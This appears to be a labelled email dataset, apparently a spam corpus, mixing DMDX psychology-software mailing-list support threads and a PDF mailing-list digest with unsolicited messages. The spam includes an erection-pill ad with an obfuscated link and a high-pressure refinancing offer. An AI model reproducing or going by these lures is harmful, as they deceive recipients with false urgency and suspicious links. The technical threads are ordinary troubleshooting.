Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== -- Josh Cowley Department of Philosophy The University of Arizona PO Box 210027 Tucson, AZ 85721 cowley@u.arizona.edu",0,1 lily ,international@XXXXXXXX.XXXXXXX.XXX,"Tue, 21 Nov 2000 20:59:06 +0800",Seeking Agent ,"Seeking Agent for you in China --""Oriental Dragon International Business Development Project"" We will seek the best agent for you and help you exploit Chinese market! First, we will make full use of the rich resources including the technology, qualified personnel and service objects of our company to assist you to promote you products as well as exploit the market. Second, basing on the giant business information database, we try to seek and develop direct agent in China for you. In addition, we will provide all-round service during your market exploitation, product promotion as well as agent seeking. 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Thanks again Mike Dobbs Senior Project Coordinator Department of Psychology Claremont Graduate University",0,0 Pamela Perschler ,DMDX@psy1.psych.arizona.edu,"Wed, 22 Nov 2000 12:50:32 -0700",[DMDX] RE: Registry Key Error,"I recieved that message before and went back and did all the TimeDX advanced tests and it seemed to work fine. Pamela Perschler Sanity is the playground for the unimaginative. ",0,0 Hugh Yang ,beebe@math.utah.edu,"Wed, 22 Nov 2000 21:56:02 +0900",Sex is the part of your life - make it colorful!,"An awesome way to strengthen your erections. http://ilg.oeuwtfbtclbw66ohb66hbo6o.nigrouskg.com/?wxjlfq ",1,1 Mike Dobbs ,DMDX@psy1.psych.arizona.edu,"Wed, 22 Nov 2000 12:16:31 -0800",[DMDX] Re: RE: Registry Key Error,"Hi Pamela et al., Actually I did get it to work. For the information of others who are having the problem, I had the video mode set to the wrong setting. I was under the incorrect assumption that the video mode should be set to whatever my computer is using. In my case, I have my machine set to 800x600 and 16-bit (High) color. I set the video mode to this, but when I ran my script, it was looking for 640x480, 8 bit. When I selected this mode in ""Basic Tests>Set Video Mode"", it worked. Keep in mind - it's not enough to just ""test"" the mode, you have to click the ""Just Select It"" button as well. At least, it wouldn't work for me until I did this. Mike Dobbs Senior Project Coordinator Department of Psychology Claremont Graduate University Pamela Perschler wrote: > > I recieved that message before and went back and did all the TimeDX advanced > tests and it seemed to work fine. > Pamela Perschler > > Sanity is the playground for the unimaginative. > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== ",0,1 Jean-Francois Nedelec ,DMDX@psy1.psych.arizona.edu,"Thu, 23 Nov 2000 10:27:28 +0100",[DMDX] Cleaning-Menu," Hello everybody Just a simple question. In the DMDX menu, left to the browse button there is a menu which contains all previous tests performed. In order to simplify the managment (avoid mistake) I want just to have there the tests to be performed and remove the others. Is there a way to cleaning up this menu ?? Thank for advice. Jean-Francois ",0,0 Jean-Francois Nedelec ,DMDX@psy1.psych.arizona.edu,"Thu, 23 Nov 2000 11:38:00 +0100",[DMDX] DMDxfromDOS,"Hello again everybody, I tried to run DMDx from Dos prompt with a .bat file in order to run some tests in row. I put the following line start /wait c:\\path\\dmdx\\dmdx.exe -subjid adama-P1V1/nj -run D:\\path\\item.rtf This batch file opens DMDx but exits it immediately. Any solutions ?? Thanks Jean-Francois ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 23 Nov 2000 10:09:59 -0700",[DMDX] Re: Cleaning-Menu,"At 10:27 AM 11/23/00 +0100, you wrote: > Hello everybody > >Just a simple question. > >In the DMDX menu, left to the browse button > >there is a menu which contains all previous tests performed. > >In order to simplify the managment (avoid mistake) > >I want just to have there the tests to be performed > >and remove the others. > >Is there a way to cleaning up this menu ?? Sure, find yourself a registry modifier and delete the subkeys of HKEY_LOCAL_MACHINE\\SOFTWARE\\DMDX\\2\\LastUsedItemFile, you'll want to leave the default value of the key alone. If you are open to bartering I can write such a utility for you. If you only want to do it once you can do it by hand easily enough with REGEDIT.EXE in your WINDOWS directory. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you live to the age of a hundred you have it made because very few people die past the age of a hundred. - George Burns ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 23 Nov 2000 10:16:08 -0700",[DMDX] Re: DMDxfromDOS,"At 11:38 AM 11/23/00 +0100, you wrote: >Hello again everybody, > >I tried to run DMDx from Dos prompt with a .bat file >in order to run some tests in row. > >I put the following line > >start /wait c:\\path\\dmdx\\dmdx.exe -subjid adama-P1V1/nj -run >D:\\path\\item.rtf > >This batch file opens DMDx but exits it immediately. > >Any solutions ?? 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Everything is fine now Hope you enjoy thanksgiving Jean-francois ",0,0 Jean-Francois Nedelec ,DMDX@psy1.psych.arizona.edu,"Fri, 24 Nov 2000 18:43:34 +0100",[DMDX] RT-Trigger-LOOP,"Hello , I have 2 questions : 1- In the following sequence (24 blocks indeed) I set (with all needed parameters) 0 d10 ""img1"" ; 250 d200 ""fram1"" ; +001 d1000 *""img2"" ; 0 d10 ""img2""; 250 d10 ""fram2""; 250 d1000 ""img1"" ; 250 d200 ""fram1"" ; +002 d1000 *""img2"" ; 0 d10 ""img2""; 250 d10 ""fram2""; 250 d1000 ""img1"" ; 250 d200 ""fram1"" ; -003 d1000 *""img2"" ; 0 d10 ""img2""; 250 d10 ""fram2""; 0 d1000 ""End"" l; This was the only way I found to avoid the img2 to disappear (black screen) when the subject answers, and to trigger with MRI. However if I increase t to 3000ms some triggers are missed, in such way that a delay is added to t value. Any advice ?? 2- How to include a trigger into a loop. I try using a different number than 0 Unsuccessful. Any help ? Have nice week-end. Thanks for answering Jean-Francois",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 24 Nov 2000 10:11:19 -0700",[DMDX] Re: RT-Trigger-LOOP,"At 06:43 PM 11/24/00 +0100, you wrote: >Hello , > >I have 2 questions : > >1- In the following sequence (24 blocks indeed) > >I set (with all needed parameters) > >0 d10 ""img1"" ; >250 d200 ""fram1"" ; >+001 d1000 *""img2"" ; >0 d10 ""img2""; >250 d10 ""fram2""; > >250 d1000 ""img1"" ; >250 d200 ""fram1"" ; >+002 d1000 *""img2"" ; >0 d10 ""img2""; >250 d10 ""fram2""; > >250 d1000 ""img1"" ; >250 d200 ""fram1"" ; >-003 d1000 *""img2"" ; >0 d10 ""img2""; >250 d10 ""fram2""; > >0 d1000 ""End"" l; > >This was the only way I found >to avoid the img2 to disappear >(black screen) when the subject >answers, and to trigger with MRI. > >However if I increase t to 3000ms >some triggers are missed, in such way >that a delay is added to t value. > >Any advice ?? You need to include the parameter line, perhaps your blank screen is caused by not having . >2- How to include a trigger into a loop. >I try using a different number than 0 >Unsuccessful. >Any help ? When using the only way to wait for a request (in your case a trigger from the MRI) is to have an item number of zero which is bad if you want those items to be destinations for branches. So either code your item file to not use triggers as destinations for branches or alternatively you can opt to not include in the parameter line in which case _every_ item will wait for a request unless you include C option (or ) in the item. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ An empty bus travels fast. - Tom Weller",0,0 Bobby S Rowley ,DMDX@psy1.psych.arizona.edu,"Mon, 27 Nov 2000 00:00:39 +0000",pay for your holiday,"We WILL lend you the money you need We have special arrangements with dozens of top lenders. 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Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 27 Nov 2000 12:51:09 -0700",[DMDX] remuneration," With all the glowing praise people have been offering DMDX lately and me cursing my cruddy cheap digital camera over the weekend it occurs to me that if anyone wants to physically show their appreciation for my work on DMDX and my answering of the list server questions it engenders they could buy me a nicer digital camera than the one I've got. Something that can take closeups, which probably means it needs a zoom (I know next to nothing about cameras). Doesn't need to have enormous resolution as the destination is only my web page nor does it need to be able to take lots of shots before it's memory fills up but I could _really_ use the ability to take a picture of something a few inches across. Oh, and USB would cool too, serial is way slow. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When things are going well, something will go wrong. ",0,0 """John P. Kline"" ",DMDX@psy1.psych.arizona.edu,"Mon, 27 Nov 2000 18:45:24 -0500",[DMDX] Re: PIO / Sound latency slop,"At 01:27 PM 11/16/00 -0500, John P. Kline wrote: >As Jonathan suggested, the Turtle Beach Montego A3DXStream (less than >$30.00 direct from Voyetra Turtal Beach http://www.turtlebeach.com ) >has solved all of our latency jitter woes. I get an impressive <1 msec >variability, measuring the latency between the PIO-12 trigger and the >sound pulse to the Neuroscan unit. Definitely within acceptable >parameters for our purposes. Since we are now also able to compensate for >the latency by entering the observed latency value into TimeDX, (looks to >be approx. 4 msec between the CIO/DIO 24 trigger and the half-amplitude >rise-time of a 760 Hz tone... haven't tried DigitalVox latency test), >we're now solidly in the auditory ERP and startle probe business! We seem to have found a glitch in this sound card, i.e. it appears to ""pop"" sometimes when images appear on the screen. Has anyone else noticed this problem, and does anyone have suggestions on how to get rid of it? JK",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 27 Nov 2000 19:01:01 -0700",[DMDX] Re: PIO / Sound latency slop,"At 06:45 PM 11/27/00 -0500, you wrote: >We seem to have found a glitch in this sound card, i.e. it appears to >""pop"" sometimes when images appear on the screen. Has anyone else noticed >this problem, and does anyone have suggestions on how to get rid of it? No problems like you mentioned have been noticed here. This is while you are playing a wave file and then displaying an image? Unless you are displaying huge items with large number of frames in them there shouldn't be any data travelling over the PCI bus as it should all be buffered before the item begins displaying. It could be your video card or some other component in your machine, as always when you get these kinds of things get new versions of the drivers and see if the problem goes away. I have had trouble with the Montego in my Athlon system, never could get it to work (can't remember what was broken though) even with the latest drivers. OTOH, the Diamond MX300, another Aureal based card works fine in my Athlon system at home. Perhaps it's a power supply problem, when the machine's state changes abruptly you get a power supply sag that none of the digital hardware cares about but that the analog stuff on the sound card is susceptible to. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ What is the use of running when we are not on the right road. - German proverb ",0,0 """John P. Kline"" ","DMDX@psy1.psych.arizona.edu, DMDX@psy1.psych.arizona.edu","Mon, 27 Nov 2000 22:10:20 -0500",[DMDX] Re: PIO / Sound latency slop,"After trying everything that made sense (e.g. interrupt changes so the sound card doesn't share IRQ with other PCI devices, CD cable), I stumbled onto a possible solution. The card stops popping if you disable the 3D stuff on the driver (the card ships with this ability). I am not sure whether or not this will affect timings... I'll test this possibility Wednesday. JK At 07:01 PM 11/27/00 -0700, j.c.f. wrote: >At 06:45 PM 11/27/00 -0500, you wrote: > >>We seem to have found a glitch in this sound card, i.e. it appears to >>""pop"" sometimes when images appear on the screen. Has anyone else >>noticed this problem, and does anyone have suggestions on how to get rid of it? > > No problems like you mentioned have been noticed here. This is while > you are playing a wave file and then displaying an image? Unless you are > displaying huge items with large number of frames in them there shouldn't > be any data travelling over the PCI bus as it should all be buffered > before the item begins displaying. It could be your video card or some > other component in your machine, as always when you get these kinds of > things get new versions of the drivers and see if the problem goes > away. I have had trouble with the Montego in my Athlon system, never > could get it to work (can't remember what was broken though) even with > the latest drivers. OTOH, the Diamond MX300, another Aureal based card > works fine in my Athlon system at home. Perhaps it's a power supply > problem, when the machine's state changes abruptly you get a power supply > sag that none of the digital hardware cares about but that the analog > stuff on the sound card is susceptible to. > > >-jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > What is the use of running when we are not on the right road. > - German proverb > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== ___________________________________________________________________ John P. Kline, Ph.D. Office Phone: 850-644-9363 Assistant Professor Lab Phone: 850-644-2049 Department of Psychology Fax: 850-644-7739 Florida State University Mailto:kline@psy.fsu.edu Tallahassee, FL 32306-1051 http://klinelab.psy.fsu.edu ___________________________________________________________________ ",0,1 George ,DMDX@psy1.psych.arizona.edu,"Tue, 28 Nov 2000 09:59:30 +0800","Everyone is Re-financing, why havent you yet?","Dear Home Owner, Your credit doesn't matter to us! If you OWN real estate and want IMMEDIATE cash to spend ANY way you like, or simply wish to LOWER your monthly payments by a third or more, here are the deals we have TODAY (hurry, these offers will expire TONIGHT) : $488,000.00 as low as 3.67,% $372,000.00 as low as 3.90,% $492,000.00 as low as 3.21,% $248,000.00 as low as 3.36,% $198,000.00 as low as 3.55,% Hurry, when these deals are gone, they are gone! Simply fill out this one-minute form... http://www.g47g.com Don't worry about approval, your credit will not disqualify you! Sincerely, George Approval Manager ",1,1 Mike Dobbs ,DMDX@psy1.psych.arizona.edu,"Tue, 28 Nov 2000 13:21:02 -0800",[DMDX] Keyboard Accuracy,"Greetings again I'm told that the keyboard input is not as accurate as using a PIO card and separate input device. Can anyone give me a read on *how* inaccurate it is? If it's off my 1/1000th of a second then that may not concern us as much as if it were a 1/2 second off, or even 1/100th of a second off. Thanks for any advice. Mike Dobbs Senior Project Coordinator Department of Psychology Claremont Graduate University ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 28 Nov 2000 17:53:21 -0700",[DMDX] Re: Keyboard Accuracy,"At 01:21 PM 11/28/00 -0800, you wrote: >Greetings again > >I'm told that the keyboard input is not as accurate as using a PIO card >and separate input device. Can anyone give me a read on *how* >inaccurate it is? If it's off my 1/1000th of a second then that may not >concern us as much as if it were a 1/2 second off, or even 1/100th of a >second off. Try reading the docs, whole bunch of stuff in there, you probably want the Input section ;) I have benched a number of input devices and include the results here FYI. These were gathered by using a photosensor on the screen (the only way of triggering my solenoid, at the time -- I could have used a PIO line if the hardware was built that way) firing a hefty 12V solenoid. The Min and Max values are the respective response times, the Min value is as high as it is because it takes some time to get the solenoid moving and then some time for it to push the key it's full travel distance. PIO12 microswtich 18-20ms This sets the baseline as it has the minimum travel. PIO12 KB switch 31-33ms Longer values are due to 6mm of extra travel. Generic Joystick 28-31ms Polled every three ms, this small error range shows the generic joysticks and gamepads are good input devices. MS Serial Mouse 44-50ms Without the ball. MS Serial Mouse 46-52ms With the ball. Old AT Keyboard 40-47ms OmniKey 102 KB 33-40ms Cheap Win95 KB 33-69ms A real surprise, shows that all KBs really have to be tested with a solenoid before use as an RT gathering device. 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Since I have no pdfmark mouseover samples or other guidance I think I'd better stick with what already works... namely... a pdfmark textfield. and... a blank text field that mouseover triggers display of the above text field... The relevant section of code from a pdf for the acrobat generated 'trigger' formfield that does just as I want looks like this: << /Type /Annot /Subtype /Widget /Rect [ 156.71654 262.89508 237.31361 289.76077 ] /T (test01) /FT /Tx /DA (/TiRo 18 Tf 1 1 1 rg) /F 4 /DV (caption) /V (caption) /AP << /N 26 0 R >> /AA << /E 24 0 R /X 25 0 R >> /P 8 0 R >> endobj 24 0 obj << /S /Hide /H false /T (instruction) >> endobj 25 0 obj << /S /Hide /T (instruction) >> endobj Can you or anyone else looking in tell me how to re-organise this into a matching pdfmark? Greetings Denis Postle The Mind Gymnasium: digital edition > Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 1-Dec-2000 14:40:23-GMT,2757;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id HAA14902 for ; Fri, 1 Dec 2000 07:40:21 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id IAA08196; Fri, 1 Dec 2000 08:29:08 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 1 Dec 2000 08:23:18 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id IAA07865; Fri, 1 Dec 2000 08:23:16 -0600 Received: from nec.com (mail1.nec.com [143.101.112.2]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id IAA07861 for ; Fri, 1 Dec 2000 08:23:15 -0600 From: stregevp@hn.va.nec.com Received: from hdn-notes-mail.hn.va.nec.com ([143.102.80.247]) by nec.com (8.9.3/8.9.3) with ESMTP id IAA27991 for ; Fri, 1 Dec 2000 08:23:14 -0600 (CST) Subject: [PDF] Word-to-PDF Safeguards To: pdf@lists.pdfzone.com X-Mailer: Lotus Notes Release 5.0.3 March 21, 2000 Message-ID: Date: Fri, 1 Dec 2000 09:26:25 -0500 X-MIMETrack: Serialize by Router on hdn-notes-mail/NEC America(Release 5.0.5 |September 22, 2000) at 12/01/2000 09:29:39 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Aandi wrote: Design documents so it doesn't matter (e.g. make sure nobody ever uses multiple RETURNS to start a new page). To this and Aandi's other well-taken points, I would add two examples: 1. Don't use the page's entire available height. When possible, leave at least 6 millimeters (about 1/4 inch) between your final line and the bottom margin. 2. Be cautious about compressing text to force that nine-line paragraph to ""just make it"" into eight lines. When you switch drivers, the paragraph might revert to nine lines, forcing a heading onto a different page from that promised in the table of contents. Paul Franklin Stregevsky, Technical Writer NEC America, Inc. Mail Stop VA-4610 14040 Park Center Rd. Herndon, VA 20171-3227 stregevp@hn.va.nec.com W: (703) 834-4648 H: (301) 349-5243 stpaul@erols.com Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 1-Dec-2000 14:40:24-GMT,4537;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id HAA14908 for ; Fri, 1 Dec 2000 07:40:23 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id IAA08374; Fri, 1 Dec 2000 08:30:21 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 1 Dec 2000 08:25:16 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id IAA07937; Fri, 1 Dec 2000 08:25:08 -0600 Received: from nec.com (mail1.nec.com [143.101.112.2]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id IAA07908 for ; Fri, 1 Dec 2000 08:25:00 -0600 From: stregevp@hn.va.nec.com Received: from hdn-notes-mail.hn.va.nec.com ([143.102.80.247]) by nec.com (8.9.3/8.9.3) with ESMTP id IAA28194 for ; Fri, 1 Dec 2000 08:25:00 -0600 (CST) Subject: [PDF] Fonts, Editing in Exchange To: pdf@lists.pdfzone.com X-Mailer: Lotus Notes Release 5.0.3 March 21, 2000 Message-ID: Date: Fri, 1 Dec 2000 09:28:10 -0500 X-MIMETrack: Serialize by Router on hdn-notes-mail/NEC America(Release 5.0.5 |September 22, 2000) at 12/01/2000 09:31:24 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Randall Larson-Maynard wrote: I have distilled several files from Frame where I cannot edit text later in Acrobat. What am I missing? If I change the Times font to Times New Roman, I can then edit in Acrobat. Why can't I edit the Times or Helvetica Bold font? Details: Error Message: ""Warning: You cannot edit text in this font."" Font Info window shows both Times & Helvetica, Bold as Embedded Subset. In Text Attributes window, both fonts show the Embed box grayed-out. Helvetica is also used in this doc. In Font Info Window, Helvetica is substituted to Arial MT. In Text Attributes window, Helvetica shows as Helvetica, not Arial MT. Randall, This sounds strange. Times and Helvetica Bold are ""safe"" fonts that, if all is well, should always be available to the Acrobatter, even if not explicitly embedded in the document. Evidently, your system is mapping these two fonts to TrueType equivalents that, by default, are subsetted. Characters rendered in a subsetted font cannot be edited. I have seen PostScript fonts rendered as TrueType by PDFWriter, but never by Distiller. Your first step is to verify that these fonts are where Distiller can find them. Open Adobe Type Manager, select the Fonts tab, and make sure Times and Helvetica Bold fonts are showing up in the left pane. If they're not, click your way into a PostScript font folder, selecting them, and clicking Add. The locations of these folders depends on your operating system and the versions of your Acrobat components. On my Windows 98 PC, they're in C: \\PSFONTS\\pfm\\, in C:\\Acrobat3\\Distiller\\Fonts\\pfm\\, and in C: \\Acrobat3\\Exchange\\Fonts\\pfm\\, If Times and Helvetica Bold are, indeed, already visible in ATM's left pane, visit Distiller > Job Options > Font Embedding, and make sure Subset fonts... is deselected. Given the complexity of font issues, both of my suggestions may fail to solve your problem. Acrobatters, please contribute some additional checks. By the way, Bill Hinely, a fellow Acrobatter at NEC, recently was sent a PDF that had a typo requiring correction. The misspelled word was in a subsetted font--in this case, Times New Roman--and hence non-editable. Bill selected the word with the Touchup tool, changed the font to Times, and corrected the typo. (It was Bill's first month as an Acrobatter, and no one had informed him that solving font problems isn't supposed to be that easy.) Paul Franklin Stregevsky, Technical Writer NEC America, Inc. Mail Stop VA-4610 14040 Park Center Rd. Herndon, VA 20171-3227 stregevp@hn.va.nec.com W: (703) 834-4648 H: (301) 349-5243 stpaul@erols.com Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 1-Dec-2000 16:17:48-GMT,2277;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id JAA17141 for ; Fri, 1 Dec 2000 09:17:47 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id JAA14661; Fri, 1 Dec 2000 09:59:00 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 1 Dec 2000 09:53:25 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id JAA14361; Fri, 1 Dec 2000 09:53:24 -0600 Received: from kscgrndexc9.ksc.nasa.gov (kscgrndexc9.ksc.nasa.gov [163.206.102.153]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id JAA14357 for ; Fri, 1 Dec 2000 09:53:21 -0600 Received: by kscgrndexc9 with Internet Mail Service (5.5.2650.21) id ; Fri, 1 Dec 2000 10:53:20 -0500 Message-ID: <114E43AA5F76D411B62E00508B95A93769743D@kscgrndexc1> From: ""Oates, Kevin F"" To: pdf@lists.pdfzone.com Subject: [PDF] ASCII to PDF Date: Fri, 1 Dec 2000 10:53:20 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset=""iso-8859-1"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Can anyone suggest a way to convert an ASCII file (straight text) to PDF? We use FrameMaker 5.5.6 and also have MS Word loaded on our PCs. I'm guessing the best way is to bring the file into FrameMaker and then convert it to PDF, although it would be a lot easier and preferable if there was a method to go directly from ASCII to PDF. Thanks in advance for any help or advice. Kevin Oates Senior Publications Analyst United Space Alliance Kennedy Space Center, FL (321) 861-7995 Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 1-Dec-2000 16:52:57-GMT,3082;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id JAA18129 for ; Fri, 1 Dec 2000 09:52:56 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id KAA16678; Fri, 1 Dec 2000 10:21:34 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 1 Dec 2000 10:16:18 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id KAA16142; Fri, 1 Dec 2000 10:16:16 -0600 Received: from amfexc01.amfbakery.com (mail.amfbakery.com [12.26.68.3]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id KAA16135 for ; Fri, 1 Dec 2000 10:16:15 -0600 Received: by AMFEXC01 with Internet Mail Service (5.5.2650.21) id ; Fri, 1 Dec 2000 11:16:05 -0500 Message-ID: <8D38DB122A95D2119A6F0008C7093D1A3A6E15@AMFEXC01> From: ""Juergensen, Marty"" To: ""'pdf@lists.pdfzone.com'"" Subject: RE: [PDF] ASCII to PDF Date: Fri, 1 Dec 2000 11:14:30 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset=""iso-8859-1"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Kevin, Unless you have already attempted this, select your Acrobat PDF Writer as the printer, print the file directly to the writer and save it that way. (On some systems it may be necessary to set up the Acrobat PDF Writer as your default system printer.) Best of luck! Marty -----Original Message----- From: Oates, Kevin F [mailto:kevin.f.oates@usago.ksc.nasa.gov] Sent: Friday, December 01, 2000 10:53 AM To: pdf@lists.pdfzone.com Subject: [PDF] ASCII to PDF The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Can anyone suggest a way to convert an ASCII file (straight text) to PDF? We use FrameMaker 5.5.6 and also have MS Word loaded on our PCs. I'm guessing the best way is to bring the file into FrameMaker and then convert it to PDF, although it would be a lot easier and preferable if there was a method to go directly from ASCII to PDF. Thanks in advance for any help or advice. Kevin Oates Senior Publications Analyst United Space Alliance Kennedy Space Center, FL (321) 861-7995 Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 1-Dec-2000 17:38:16-GMT,2574;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id KAA19362 for ; Fri, 1 Dec 2000 10:38:15 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id LAA21394; Fri, 1 Dec 2000 11:38:11 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 1 Dec 2000 11:32:06 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id LAA20964; Fri, 1 Dec 2000 11:32:05 -0600 Received: from mailhub6.isdnet.net (mailhub6.isdnet.net [195.154.209.26]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id LAA20960 for ; Fri, 1 Dec 2000 11:32:01 -0600 Received: from [192.168.1.244] (ppp21-sophia.isdnet.net [194.149.168.148]) by mailhub6.isdnet.net (8.9.3/8.9.3) with ESMTP id SAA59624 for ; Fri, 1 Dec 2000 18:31:53 +0100 (CET) User-Agent: Microsoft Outlook Express Macintosh Edition - 5.0 (1513) Date: Fri, 01 Dec 2000 18:36:55 +0100 Subject: [PDF] named destinations From: Pascal Saulay To: Message-ID: Mime-version: 1.0 Content-type: text/plain; charset=""US-ASCII"" Content-transfer-encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ With name it plugin i create 4 named destinations : The final idea is to have a html page with 2 frames : in the left one, we'll have the html page with the link-named destinations in the right one, we'll have the acrobat reader to see the acrobat file so, when you'll click on a named destination, it appears in the right frame with acrobat reader. BUT after, if you want to go to another named destination from the left frame, nothing appears in the rignt frame. If i point the named destination on a new ie window it's work ! SO, HOW TO DO FEW NAMED DESTINATIONS SUCCESSIVELLY IN THE SAME FRAME FROM ANOTHER FRAME ? Regards Excuse me for my english, i'm french ! Pascal Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 2-Dec-2000 1:03:51-GMT,2415;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id SAA00936 for ; Fri, 1 Dec 2000 18:03:50 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id SAA09144; Fri, 1 Dec 2000 18:47:28 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 1 Dec 2000 18:39:44 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id SAA08604; Fri, 1 Dec 2000 18:39:42 -0600 Received: from iglou.com (sendmail@iglou4.iglou.com [192.107.41.39]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id SAA08600 for ; Fri, 1 Dec 2000 18:39:41 -0600 Received: from [216.196.136.75] (helo=thinkpad) by iglou.com with smtp (8.9.3/8.9.3) id 1420iL-0004VY-00; Fri, 01 Dec 2000 19:39:41 -0500 Message-Id: <3.0.5.32.20001201195007.009dd200@pop.iglou.com> X-Sender: rdp@pop.iglou.com X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32) Date: Fri, 01 Dec 2000 19:50:07 -0500 To: pdf@lists.pdfzone.com From: Steve Rindsberg Subject: Re: [PDF] ASCII to PDF In-Reply-To: <114E43AA5F76D411B62E00508B95A93769743D@kscgrndexc1> Mime-Version: 1.0 Content-Type: 